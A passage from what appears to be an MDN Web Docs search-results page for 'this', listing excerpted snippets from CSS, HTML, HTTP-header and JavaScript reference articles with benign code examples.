...And 2 more matches
Understanding CSS z-index - CSS: Cascading Style Sheets
in
this case, there is a single rendering flow, and all elements are aware of the space taken by others.
... (from css 2.1 section 9.9.1 - layered presentation)
this means that css style rules allow you to position boxes on layers in addition to the normal rendering layer (layer 0).
...
this is due to complex stacking rules.
...And 2 more matches
List group with badges - CSS: Cascading Style Sheets
in
this recipe we will create a list group pattern with badges that indicate a count.
... recipe download
this example choices made flexbox makes
this particular pattern straightforward and also makes it easy to make changes to the layout.
...
this places any extra space between the items.
...And 2 more matches
Recipe: Media objects - CSS: Cascading Style Sheets
the recipe download
this example choices made i have chosen to use grid layout for the media object as it allows me to control the layout in two dimensions when i need to.
...
this means that when we have a footer, with short content above, the footer can be pushed down to the bottom of the media object.
... an option for the pattern is to flip it to switch the image to the other side —
this is done by adding the media-flip class, which defines a flipped grid template causing the layout to be mirrored.
...And 2 more matches
appearance (-moz-appearance, -webkit-appearance) - CSS: Cascading Style Sheets
the -moz-appearance and -webkit-appearance properties are non-standard versions of
this propery, used (respectively) by gecko (firefox) and by webkit-based (e.g., safari) and blink-based (e.g., chrome, opera) browsers to achieve the same thing.
... the source for
this interactive example is stored in a github repository.
... compatibility note: if you wish to use
this property on websites, you should test it very carefully.
...And 2 more matches
border-left - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this means that ...
... constituent properties
this property is a shorthand for the following css properties: border-left-color border-left-style border-left-width syntax border-left: 1px; border-left: 2px dotted; border-left: medium dashed green; the three values of the shorthand property can be specified in any order, and one or two of them may be omitted.
...And 2 more matches
border-right - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this means that ...
... constituent properties
this property is a shorthand for the following css properties: border-right-color border-right-style border-right-width syntax border-right: 1px; border-right: 2px dotted; border-right: medium dashed green; the three values of the shorthand property can be specified in any order, and one or two of them may be omitted.
...And 2 more matches
border-top - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this means that ...
... constituent properties
this property is a shorthand for the following css properties: border-top-color border-top-style border-top-width syntax border-top: 1px; border-top: 2px dotted; border-top: medium dashed green; the three values of the shorthand property can be specified in any order, and one or two of them may be omitted.
...And 2 more matches
border - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... constituent properties
this property is a shorthand for the following css properties: border-color border-style border-width syntax /* style */ border: solid; /* width | style */ border: 2px dotted; /* style | color */ border: outset #f33; /* width | style | color */ border: medium dashed green; /* global values */ border: inherit; border: initial; border: unset; the border property may be specified using one, two, or three of the values listed below.
...
this is because the style defaults to none.
...And 2 more matches
box-align - CSS: Cascading Style Sheets
warning:
this is a property of the original css flexible box layout module draft, and has been replaced by a newer standard.
...
this only applies if the box's orientation is horizontal.
...nheritednocomputed valueas specifiedanimation typediscrete formal syntax start | center | end | baseline | stretch examples setting box alignment <!doctype html> <html> <head> <title>css box-align example</title> <style> div.example { display: box; /* as specified */ display: -moz-box; /* mozilla */ display: -webkit-box; /* webkit */ /* make
this box taller than the children, so there is room for the box-pack */ height: 400px; /* make
this box wider than the children so there is room for the box-align */ width: 300px; /* children should be oriented vertically */ box-orient: vertical; /* as specified */ -moz-box-orient: vertical; /* mozilla */ -webkit-box-orient: vertical; /* webkit */ /* alig...
...And 2 more matches
box-direction - CSS: Cascading Style Sheets
this is a property of the original css flexible box layout module draft, and has been replaced by a newer standard.
... browser compatibility the compatibility table on
this page is generated from structured data.
... full support 1prefixed prefixed implemented with the vendor prefix: -moz- full support 49prefixed prefixed implemented with the vendor prefix: -webkit- full support 48prefixed disabled prefixed implemented with the vendor prefix: -webkit-disabled from version 48:
this feature is behind the layout.css.prefixes.webkit preference (needs to be set to true).
...And 2 more matches
caret-color - CSS: Cascading Style Sheets
this is sometimes referred to as the text input cursor.
...by default, it is black, but its color can be altered with
this property.
... the source for
this interactive example is stored in a github repository.
...And 2 more matches
column-span - CSS: Cascading Style Sheets
formal definition initial valuenoneapplies toin-flow block-level elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax none | all examples making a heading span columns in
this example, the heading is made to span across all the columns of the article.
... </p> <p>
this is a bunch of text split into three columns using the css `columns` property.
... the text is equally distributed over the columns.</p> <p>
this is a bunch of text split into three columns using the css `columns` property.
...And 2 more matches
font-variant-ligatures - CSS: Cascading Style Sheets
this leads to more harmonized forms in the resulting text.
... the source for
this interactive example is stored in a github repository.
... values normal
this keyword leads to the activation of the usual ligatures and contextual forms needed for correct rendering.
...And 2 more matches
grid-column-end - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... note: named grid areas automatically generate implicit named lines of
this form, so specifying grid-column-end: foo; will choose the end edge of that named grid area (unless another line named foo-end was explicitly specified before it).
... otherwise,
this is treated as if the integer 1 had been specified along with the <custom-ident>.
...And 2 more matches
grid-row-end - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... note: named grid areas automatically generate implicit named lines of
this form, so specifying grid-row-end: foo; will choose the end edge of that named grid area (unless another line named foo-end was explicitly specified before it).
... otherwise,
this is treated as if the integer 1 had been specified along with the <custom-ident>.
...And 2 more matches
list-style-image - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... note:
this property is applied to list items, i.e.
... elements with display: list-item; by default
this includes <li> elements.
...And 2 more matches
mask-clip - CSS: Cascading Style Sheets
the painted content of an element must be restricted to
this area.
... border
this keyword behaves the same as border-box.
... padding
this keyword behaves the same as padding-box.
...And 2 more matches
max-height - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...if the height of the containing block is not specified explicitly (i.e., it depends on content height), and
this element is not absolutely positioned, the percentage value is treated as none.computed valuethe percentage as specified or the absolute length or noneanimation typea length, percentage or calc(); formal syntax auto | <length> | <percentage> | min-content | max-content | fit-content(<length-percentage>)where <length-percentage> = <length> | <percentage> examples setting max-height using percen...
... browser compatibility the compatibility table on
this page is generated from structured data.
...And 2 more matches
max-width - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...and row groupsinheritednopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute length or noneanimation typea length, percentage or calc(); formal syntax auto | <length> | <percentage> | min-content | max-content | fit-content(<length-percentage>)where <length-percentage> = <length> | <percentage> examples setting max width in pixels in
this example, the "child" will be either 150 pixels wide or the width of the "parent," whichever is smaller.
... browser compatibility the compatibility table on
this page is generated from structured data.
...And 2 more matches
repeating-linear-gradient() - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...thus, the position of each ending color stop coincides with a starting color stop; if the color values are different,
this will result in a sharp visual transition.
...
this can be altered with repeating the first color again as the last color.
...And 2 more matches
scroll-behavior - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... note that any other scrolls, such as those performed by the user, are not affected by
this property.
... when
this property is specified on the root element, it applies to the viewport instead.
...And 2 more matches
scroll-margin-inline-end - CSS: Cascading Style Sheets
the scroll-margin-inline-end property defines the margin of the scroll snap area at the end of the inline dimension that is used for snapping
this box to the snapport.
... the source for
this interactive example is stored in a github repository.
... formal definition initial value0applies toall elementsinheritednocomputed valueas specifiedanimation typeby computed value type formal syntax <length> examples simple demonstration
this example implements something very similar to the interactive example above, except that here we'll explain to you how it's implemented.
...And 2 more matches
scroll-margin-inline-start - CSS: Cascading Style Sheets
the scroll-margin-inline-start property defines the margin of the scroll snap area at the start of the inline dimension that is used for snapping
this box to the snapport.
... the source for
this interactive example is stored in a github repository.
... formal definition initial value0applies toall elementsinheritednocomputed valueas specifiedanimation typeby computed value type formal syntax <length> examples simple demonstration
this example implements something very similar to the interactive example above, except that here we'll explain to you how it's implemented.
...And 2 more matches
scroll-margin-inline - CSS: Cascading Style Sheets
constituent properties
this property is a shorthand for the following css properties: scroll-margin-inline-end scroll-margin-inline-start syntax /* <length> values */ scroll-margin-inline: 10px; scroll-margin-inline: 1em .5em ; /* global values */ scroll-margin-inline: inherit; scroll-margin-inline: initial; scroll-margin-inline: unset; values <length> an outset from the corresponding edge of the scroll container.
... description the scroll-margin values represent outsets defining the scroll snap area that is used for snapping
this box to the snapport.
... formal definition initial value0applies toall elementsinheritednocomputed valueas specifiedanimation typeby computed value type formal syntax <length>{1,2} examples simple demonstration
this example implements something very similar to the interactive example above, except that here we'll explain to you how it's implemented.
...And 2 more matches
scroll-snap-type - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... specifying any precise animations or physics used to enforce those snap points is not covered by
this property but instead left up to the user agent.
...e: x; scroll-snap-type: y; scroll-snap-type: block; scroll-snap-type: inline; scroll-snap-type: both; /* optional mandatory | proximity*/ scroll-snap-type: x mandatory; scroll-snap-type: y proximity; scroll-snap-type: both mandatory; /* etc */ /* global values */ scroll-snap-type: inherit; scroll-snap-type: initial; scroll-snap-type: unset; syntax values none when the visual viewport of
this scroll container is scrolled, it must ignore snap points.
...And 2 more matches
translateZ() - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this transformation is defined by a <length> which specifies how far inward or outward the element or elements move.
... cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3
this transformation applies to the 3d space and can't be represented on the plane.
...And 2 more matches
transform-style - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... as
this property is not inherited, it must be set for all non-leaf descendants of the element.
... formal definition initial valueflatapplies totransformable elementsinheritednocomputed valueas specifiedanimation typediscretecreates stacking contextyes formal syntax flat | preserve-3d examples transform style demonstration in
this example we have a 3d cube created using transforms.
...And 2 more matches
user-select - CSS: Cascading Style Sheets
this doesn't have any effect on content loaded as chrome, except in textboxes.
...webkit/chromium-based browsers do implement the property as inherited, which violates the behavior described in the spec, and
this will bring some issues.
... auto the used value of auto is determined as follows: on the ::before and ::after pseudo elements, the used value is none if the element is an editable element, the used value is contain otherwise, if the used value of user-select on the parent of
this element is all, the used value is all otherwise, if the used value of user-select on the parent of
this element is none, the used value is none otherwise, the used value is text text the text can be selected by the user.
...And 2 more matches
word-break - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...<code>word-break: normal</code></p> <p class="normal narrow">
this is a long and honorificabilitudinitatibus califragilisticexpialidocious taumatawhakatangihangakoauauotamateaturipukakapikimaungahoronukupokaiwhenuakitanatahu グレートブリテンおよび北アイルランド連合王国という言葉は本当に長い言葉</p> <p>2.
... <code>word-break: break-all</code></p> <p class="breakall narrow">
this is a long and honorificabilitudinitatibus califragilisticexpialidocious taumatawhakatangihangakoauauotamateaturipukakapikimaungahoronukupokaiwhenuakitanatahu グレートブリテンおよび北アイルランド連合王国という言葉は本当に長い言葉</p> <p>3.
...And 2 more matches
writing-mode - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this property specifies the block flow direction, which is the direction in which block-level containers are stacked, and the direction in which inline-level content flows within a block container.
... formal definition initial valuehorizontal-tbapplies toall elements except table row groups, table column groups, table rows, and table columnsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax horizontal-tb | vertical-rl | vertical-lr | sideways-rl | sideways-lr examples using multiple writing modes
this example demonstrates all of the writing modes, showing each with text in various languages.
...And 2 more matches
Challenge solutions - Developer guides
this page provides solutions to the challenges posed in the css getting started tutorial.
...the resulting file looks like
this: p {color: blue; } strong {color: orange; text-decoration: underline;} later sections of
this tutorial describe style rules and declarations in greater detail.
... solution one way to do
this is to put comment delimiters around the rule for .carrot: /* .carrot { color: orange; } */ text styles big initial letters challenge without changing anything else, make all six initial letters twice the size in the browser's default serif font.
...And 2 more matches
Localizations and character encodings - Developer guides
unfortunately,
this means that the web-exposed functionality of firefox differs by locale and it is hard to read legacy content across locales with different fallback encodings.
... to avoid introducing
this problem in locales where web publishing took off after the adoption of utf-8, locales that don't have a non-windows-1252 legacy encoding arising from the practices of the 1990s, should leave the fallback encoding at windows-1252 to facilitate reading content cross-locale from the old locales whose fallback encoding is windows-1252.
...
this has then had the effect that web authors have depended on heuristic detection being present, so firefox still has heuristic detection in these locales.
...And 2 more matches
Printing - Developer guides
this article provides tips and techniques for helping your web content print better.
...you can use
this to adjust the user interface presented during printing (such as by displaying or hiding user interface elements during the print process).
... open and automatically close a popup window when finished if you want to be able to automatically close a popup window (for example, the printer-friendly version of a document) after the user prints its contents, you can use code like
this: <!doctype html> <html> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <title>javascript window close example </title> <script type="text/javascript"> function popuponclick() { my_window = window.open('', 'mywindow', 'status=1,width=350,height=150'); my_window.document.write('<html><head><title>print me</title></head>'); my_window.document.
...And 2 more matches
HTML attribute: accept - HTML: Hypertext Markup Language
for instance, there are a number of ways microsoft word files can be identified, so a site that accepts word files might use an <input> like
this: <input type="file" id="docpicker" accept=".doc,.docx,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document"> whereas if you're accepting a media file, you may want to be include any format of that media type: <input type="file" id="soundfile" accept="audio/*"> <input type="file" id="videofile" accept="video/*"> <input type="file" id="imagefile" accept="i...
...it is still possible (in most cases) for users to toggle an option in the file chooser that makes it possible to override
this and select any file they wish, and then choose incorrect file types.
... because of
this, you should make sure that expected requirement is validated server-side.
...And 2 more matches
disabled - HTML: Hypertext Markup Language
this boolean disabled attribute indicates that the user cannot interact with the control or it's descendant controls.
... if
this attribute is not specified, the control inherits its setting from the containing element, for example fieldset; if there is no containing element with the disabled attribute set, and the control itself does not have the attribute, then the control is enabled.
...
this boolean attribute prevents the user from interacting with the button.
...And 2 more matches
Block-level elements - HTML: Hypertext Markup Language
by default, a block-level element occupies the entire space of its parent element (container), thereby creating a "block."
this article helps to explain what
this means.
... the following example demonstrates the block-level element's influence: block-level elements html <p>
this paragraph is a block-level element; its background has been colored to display the paragraph's parent element.</p> css p { background-color: #8abb55; } usage block-level elements may appear only within a <body> element.
...inherent in
this structural distinction is the idea that block elements create "larger" structures than inline elements.
...And 2 more matches
<br>: The Line Break element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... attributes
this element's attributes include the global attributes.
... you can set a margin on <br> elements themselves to increase the spacing between the lines of text in the block, but
this is a bad practice — you should use the line-height property that was designed for that purpose.
...And 2 more matches
<caption>: The Table Caption element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmltablecaptionelement attributes
this element includes the global attributes.
... align
this enumerated attribute indicates how the caption must be aligned with respect to the table.
...And 2 more matches
<em>: The Emphasis element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role no corresponding role permitted aria roles any dom interface htmlelement up to gecko 1.9.2 (firefox 4) inclusive, firefox implements the htmlspanelement interface for
this element.
... attributes
this element only includes the global attributes.
...And 2 more matches
<label> - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
...
this means that, for example, a screenreader will read out the label when the user is focused on the form input, making it easier for an assistive technology user to understand what data should be entered.
...
this increased hit area provides an advantage to anyone trying to activate the input, including those using a touch-screen device.
...And 2 more matches
<nav>: The Navigation Section element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role navigation permitted aria roles no role permitted dom interface htmlelement attributes
this element only includes the global attributes.
... user agents, such as screen readers targeting disabled users, can use
this element to determine whether to omit the initial rendering of navigation-only content.
...And 2 more matches
<optgroup> - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
...the end tag is optional if
this element is immediately followed by another <optgroup> element, or if the parent element has no more content.
... attributes
this element includes the global attributes.
...And 2 more matches
<pre>: The Preformatted Text element - HTML: Hypertext Markup Language
whitespace inside
this element is displayed as written.
... the source for
this interactive example is stored in a github repository.
... implicit aria role no corresponding role permitted aria roles any dom interface htmlpreelement attributes
this element only includes the global attributes.
...And 2 more matches
<rb>: The Ruby Base element - HTML: Hypertext Markup Language
{{embedinteractiveexample("pages/tabbed/rb.html", "tabbed-standard")}} the source for
this interactive example is stored in a github repository.
... permitted aria roles any dom interface htmlelement attributes
this element only includes the global attributes.
... examples in
this example, we provide an annotation for the original character equivalent of "kanji": <ruby> <rb>漢<rb>字 <rp>(</rp><rt>kan<rt>ji<rp>)</rp> </ruby> note how we've included two <rb> elements, to delimit the two separate parts of the ruby base text.
...And 2 more matches
<small>: the side comment element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role no corresponding role permitted aria roles any dom interface htmlelement attributes
this element only includes the global attributes.
... examples basic usage <p>
this is the first sentence.
...And 2 more matches
<sup>: The Superscript element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role no corresponding role permitted aria roles any dom interface htmlelement attributes
this element only includes the global attributes.
...
this would be done using, for example, vertical-align: super or, to shift the baseline up 50%, vertical-align: 50%.
...And 2 more matches
<tt>: The Teletype Text element (obsolete) - HTML: Hypertext Markup Language
this element was created for the purpose of rendering text as it would be displayed on a fixed-width display such as a teletype, text-only screen, or line printer.
...
this element is obsolete, however.
... permitted aria roles any dom interface htmlelement attributes
this element only includes the global attributes examples basic example
this example uses <tt> to show text entered into, and output by, a terminal application.
...And 2 more matches
<var>: The Variable element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role no corresponding role permitted aria roles any dom interface htmlelement attributes
this element only includes the global attributes.
...
this can be overridden in css, like
this: var { font: bold 15px "courier", "courier new", monospace; } examples basic example here's a simple example, using <var> to denote variable names in a mathematical equation.
...And 2 more matches
dir - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... usage notes:
this attribute is mandatory for the <bdo> element where it has a different semantic meaning.
...
this attribute is not inherited by the <bdi> element.
...And 2 more matches
lang - HTML: Hypertext Markup Language
the default value of lang is unknown, therefore it is recommended to always specify
this attribute with the appropriate value.
... the source for
this interactive example is stored in a github repository.
...
this subtag defines the writing system used for the language, and is always 4 characters long, with the first letter capitalized.
...And 2 more matches
spellcheck - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
...
this means that the explicit usage of one of the values true or false is mandatory, and that a shorthand like <textarea spellcheck></textarea> is not allowed.
... if
this attribute is not set, its default value is element-type and browser-defined.
...And 2 more matches
Microdata - HTML: Hypertext Markup Language
search engines benefit greatly from direct access to
this structured data because it allows search engines to understand the information on web pages and provide more relevant results to users.
...
this vocabulary defines a standard set of type names and property names, for example, schema.org music event indicates a concert performance, with startdate and location properties to specify the concert's key details.
... in
this case, schema.org music event would be the url used by itemtype and startdate and location would be itemprop's that schema.org music event defines.
...And 2 more matches
List of default Accept values - HTTP
this article documents the default values for the http accept header for specific inputs and browser versions.
...
this is typically used for requests initiated via the address bar of a browser, or via an html <a> element.
... user agent value comment firefox text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 (since firefox 66) text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 (in firefox 65) text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 (before) in firefox 65 and earlier,
this value can be modified using the network.http.accept.default parameter.
...And 2 more matches
Accept-Language - HTTP
browsers set adequate values for
this header according to their user interface language and even if a user can change it,
this happens rarely (and is frowned upon as it leads to fingerprinting).
...
this header is a hint to be used when the server has no way of determining the language via another way, like a specific url, that is controlled by an explicit user decision.
...but, for a better user experience,
this is rarely done and more common way is to ignore the accept-language header in
this case.
...And 2 more matches
Clear-Site-Data - HTTP
depending on the browser,
this might also clear out things like pre-rendered pages, script caches, webgl shader caches, or address bar suggestions.
...
this affects the entire registered domain, including subdomains.
...
this includes storage mechanisms such as: localstorage (executes localstorage.clear), sessionstorage (executes sessionstorage.clear), indexeddb (for each database execute idbfactory.deletedatabase), service worker registrations (for each service worker registration, execute serviceworkerregistration.unregister), appcache, websql databases, filesystem api data, plugin data (flash via npp_clearsitedata).
...And 2 more matches
CSP: frame-ancestors - HTTP
setting
this directive to 'none' is similar to x-frame-options: deny (which is also supported in older browsers).
...not setting
this allows anything.
...
this directive is not supported in the <meta> element.
...And 2 more matches
CSP: referrer - HTTP
the http content-security-policy (csp) referrer directive used to specify information in the referer header (with a single r as
this was a typo in the original spec) for links away from a page.
...
this api is deprecated and removed from browsers.
... "none-when-downgrade"
this is the user agent's default behavior if no policy is specified.
...And 2 more matches
Content-Security-Policy - HTTP
this helps guard against cross-site scripting attacks (xss).
...therefore it is recommended to restrict
this fetch-directive (e.g., explicitly set object-src 'none' if possible).
...
this directive is intended for web sites with large numbers of insecure legacy urls that need to be rewritten.
...And 2 more matches
Feature-Policy: screen-wake-lock - HTTP
note:
this api is still actively being developed and available only behind a flag on select browsers and platforms.
... note: in earlier specification drafts
this directive was called wake-lock.
... syntax feature-policy: screen-wake-lock <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in
this document, and all nested browsing contexts (iframes) regardless of their origin.
...And 2 more matches
Public-Key-Pins-Report-Only - HTTP
max-age=<expire-time>
this directive is meaningless for the public-key-pins-report-only header, it will be ignored by user agents and the header will not be cached.
... includesubdomains optional if
this optional parameter is specified,
this rule applies to all of the site's subdomains as well.
...
this directive should be used with
this header, otherwise
this header will be a no-op.
...And 2 more matches
Referrer-Policy - HTTP
the referrer-policy header does not share
this misspelling.
... no-referrer-when-downgrade (default)
this is the default behavior if no policy is specified, or if the provided value is invalid.
... there is effort from browsers in moving to a stricter default value, namely strict-origin-when-cross-origin (see https://github.com/whatwg/fetch/pull/952), consider using
this value (or a stricter one), if possible, when changing the referrer-policy.
...And 2 more matches
X-Forwarded-For - HTTP
this header is used for debugging, statistics, and generating location-dependent content and by design it exposes privacy sensitive information, such as the ip address of the client.
... therefore the user's privacy must be kept in mind when deploying
this header.
... a standardized version of
this header is the http forwarded header.
...And 2 more matches
Network Error Logging - HTTP
this experimental header allows web sites and applications to opt-in to receive reports about failed (and, if desired, successful) network fetches from supporting browsers.
... usage web applications opt in to
this behaviour with the nel header, which is a json-encoded object: nel: { "report_to": "nel", "max_age": 31556952 } an origin considered secure by the browser is required.
...the reporting group should also be set to include subdomains, if
this option is to be enabled.
...And 2 more matches
Groups and ranges - JavaScript
types the following section is also duplicated on
this cheatsheet.
...
this is usually just the order of the capturing groups themselves.
...
this becomes important when capturing groups are nested.
...And 2 more matches
JavaScript language resources - JavaScript
this was the first version of the ecmascript standard.
...
this is the second revision of the ecmascript standard; also iso standard 16262.
...
this is the third revision of the ecmascript standard; corresponds to javascript 1.5.
...And 2 more matches
static - JavaScript
the source for
this interactive example is stored in a github repository.
... calling static methods from another static method in order to call a static method within another static method of the same class, you can use the
this keyword.
... class staticmethodcall { static staticmethod() { return 'static method has been called'; } static anotherstaticmethod() { return
this.staticmethod() + ' from another static method'; } } staticmethodcall.staticmethod(); // 'static method has been called' staticmethodcall.anotherstaticmethod(); // 'static method has been called from another static method' calling static methods from a class constructor and other methods static methods are not directly accessible using the
this keyword from non-static methods.
...And 2 more matches
TypeError: invalid assignment to const "x" - JavaScript
columns = 120; // typeerror: invalid assignment to const `columns' fixing the error there are multiple options to fix
this error.
...
this constant name is already taken in
this scope.
...should
this constant appear in
this scope or was it meant to appear in a function, for example?
...And 2 more matches
TypeError: "x" is not a function - JavaScript
maybe the object you are calling the method on does not have
this function?
...g with array or typedarray objects: array.prototype.every(), array.prototype.some(), array.prototype.foreach(), array.prototype.map(), array.prototype.filter(), array.prototype.reduce(), array.prototype.reduceright(), array.prototype.find() when working with map and set objects: map.prototype.foreach() and set.prototype.foreach() examples a typo in the function name in
this case, which happens way too often, there is a typo in the method name: let x = document.getelementbyid('foo'); // typeerror: document.getelementbyid is not a function the correct function name is getelementbyid: let x = document.getelementbyid('foo'); function called on the wrong object for certain methods, you have to provide a (callback) function and it will work on specific objects only...
...in
this example, array.prototype.map() is used, which will work with array objects only.
...And 2 more matches
Array.prototype.copyWithin() - JavaScript
the source for
this interactive example is stored in a github repository.
...
this especially applies to the typedarray method of the same name.
... the copywithin function is intentionally generic, it does not require that its
this value be an array object.
...And 2 more matches
InternalError - JavaScript
internalerror.prototype.filename path to file that raised
this error.
... internalerror.prototype.linenumber line number in file that raised
this error.
... internalerror.prototype.columnnumber column number in line that raised
this error.
...And 2 more matches
Intl.DateTimeFormat.prototype.format() - JavaScript
the intl.datetimeformat.prototype.format() method formats a date according to the locale and formatting options of
this intl.datetimeformat object.
... the source for
this interactive example is stored in a github repository.
... description the format getter formats a date into a string according to the locale and formatting options of
this intl.datetimeformat object.
...And 2 more matches
Intl.DateTimeFormat.prototype.resolvedOptions() - JavaScript
the intl.datetimeformat.prototype.resolvedoptions() method returns a new object with properties reflecting the locale and date and time formatting options computed during initialization of
this datetimeformat object.
... the source for
this interactive example is stored in a github repository.
...if any unicode extension values were requested in the input bcp 47 language tag that led to
this locale, the key-value pairs that were requested and are supported for
this locale are included in locale.
...And 2 more matches
Intl.NumberFormat() constructor - JavaScript
the source for
this interactive example is stored in a github repository.
...possible values are: "symbol" to use a localized currency symbol such as €,
this is the default value, "narrowsymbol" to use a narrow format symbol ("$100" rather than "us$100"), "code" to use the iso currency code, "name" to use a localized currency name such as "dollar", currencysign in many locales, accounting format means to wrap the number with parentheses instead of appending a minus sign.
... you can enable
this formatting by setting the currencysign option to "accounting".
...And 2 more matches
Math.imul() - JavaScript
the source for
this interactive example is stored in a github repository.
...
this feature is useful for projects like emscripten.
...
this is because of the costly conversion from a floating point to an integer for multiplication, and then converting the multiplied integer back into a floating point.
...And 2 more matches
Number.parseInt() - JavaScript
the source for
this interactive example is stored in a github repository.
...if
this argument is not a string, then it is converted to one using the tostring abstract operation.
... leading whitespace in
this argument is ignored.
...And 2 more matches
Number.prototype.toLocaleString() - JavaScript
the tolocalestring() method returns a string with a language-sensitive representation of
this number.
... the source for
this interactive example is stored in a github repository.
... a check that works in all hosts, including those supporting ecma-262 prior to ed 5.1, is to test for the features specified in ecma-402 that are required to support regional options for number.prototype.tolocalestring directly: function tolocalestringsupportsoptions() { return !!(typeof intl == 'object' && intl && typeof intl.numberformat == 'function'); }
this tests for a global intl object, checks that it's not null and that it has a numberformat property that is a function.
...And 2 more matches
Object.getOwnPropertyDescriptor() - JavaScript
the source for
this interactive example is stored in a github repository.
... description
this method permits examination of the precise description of a property.
... configurable true if and only if the type of
this property descriptor may be changed and if the property may be deleted from the corresponding object.
...And 2 more matches
Object.prototype.propertyIsEnumerable() - JavaScript
the source for
this interactive example is stored in a github repository.
...
this method can determine whether the specified property in an object can be enumerated by a for...in loop, with the exception of properties inherited through the prototype chain.
... if the object does not have the specified property,
this method returns false.
...And 2 more matches
Promise() constructor - JavaScript
the source for
this interactive demo is stored in a github repository.
... the signature of
this function is expected to be: function(resolutionfunc, rejectionfunc){ // typically, some asynchronous operation.
...the side-effect is that the promiseobj becomes "resolved." typically, it works like
this: the operation within executor is asynchronous and provides a callback.
...And 2 more matches
handler.setPrototypeOf() - JavaScript
the source for
this interactive example is stored in a github repository.
...
this is bound to the handler.
... interceptions
this trap can intercept these operations: object.setprototypeof() reflect.setprototypeof() invariants if the following invariants are violated, the proxy will throw a typeerror: if target is not extensible, the prototype parameter must be the same value as object.getprototypeof(target).
...And 2 more matches
RegExp.prototype[@@match]() - JavaScript
the source for
this interactive example is stored in a github repository.
... description
this method is called internally in string.prototype.match().
... 'abc'.match(/a/); /a/[symbol.match]('abc');
this method exists for customizing match behavior within regexp subclasses.
...And 2 more matches
RegExp.prototype[@@matchAll]() - JavaScript
the source for
this interactive example is stored in a github repository.
... description
this method is called internally in string.prototype.matchall().
... 'abc'.matchall(/a/); /a/[symbol.matchall]('abc');
this method exists for customizing the behavior of matchall() in regexp subclasses.
...And 2 more matches
String.prototype.charCodeAt() - JavaScript
the source for
this interactive example is stored in a github repository.
...
this is because the higher code points are represented by a pair of (lower valued) "surrogate" pseudo-characters which are used to comprise the real character.
... because of
this, in order to examine (or reproduce) the full character for individual character values of 65536 or greater, for such characters, it is necessary to retrieve not only charcodeat(i), but also charcodeat(i+1) (as if manipulating a string with two letters), or to use codepointat(i) instead.
...And 2 more matches
String.prototype.endsWith() - JavaScript
the source for
this interactive example is stored in a github repository.
... description
this method lets you determine whether or not a string ends with another string.
...
this method is case-sensitive.
...And 2 more matches
String.fromCharCode() - JavaScript
the source for
this interactive example is stored in a github repository.
... description
this method returns a string and not a string object.
...however,
this set of characters, known as the base multilingual plane (bmp), is only 1/17th of the total addressable unicode code points.
...And 2 more matches
String.raw() - JavaScript
this is similar to the r prefix in python, or the @ prefix in c# for string literals.
... (but it is not identical; see explanations in
this issue.) it's used to get the raw string form of template strings, that is, substitutions (e.g.
...the first syntax mentioned above is only rarely used, because the javascript engine will call
this with proper arguments for you, (just like with other tag functions).
...And 2 more matches
Symbol - JavaScript
a symbol value may be used as an identifier for object properties;
this is the data type's primary purpose, although other use-cases exist, such as enabling opaque data types, or serving as an implementation-supported unique identifier in general.
...it creates a new symbol each time: symbol('foo') === symbol('foo') // false the following syntax with the new operator will throw a typeerror: let sym = new symbol() // typeerror
this prevents authors from creating an explicit symbol wrapper object instead of a new symbol value and might be surprising as creating explicit wrapper objects around primitive data types is generally possible (for example, new boolean, new string and new number).
...note that every object is initialized with no own symbol properties, so that
this array will be empty unless you've set symbol properties on the object.
...And 2 more matches
TypedArray.prototype.fill() - JavaScript
this method has the same algorithm as array.prototype.fill().
... the source for
this interactive example is stored in a github repository.
... syntax typedarray.fill(value[, start = 0[, end =
this.length]]) parameters value value to fill the typed array with.
...And 2 more matches
TypedArray.prototype.find() - JavaScript
the source for
this interactive example is stored in a github repository.
... syntax typedarray.find(callback[,
thisarg]) parameters callback function to execute on each value in the typed array, taking three arguments: element the current element being processed in the typed array.
...
thisarg optional.
...And 2 more matches
WeakMap - JavaScript
setting elements on
this map would involve pushing a key and value onto the end of each of those arrays simultaneously.
...getting values from the map would involve iterating through all keys to find a match, then using the index of
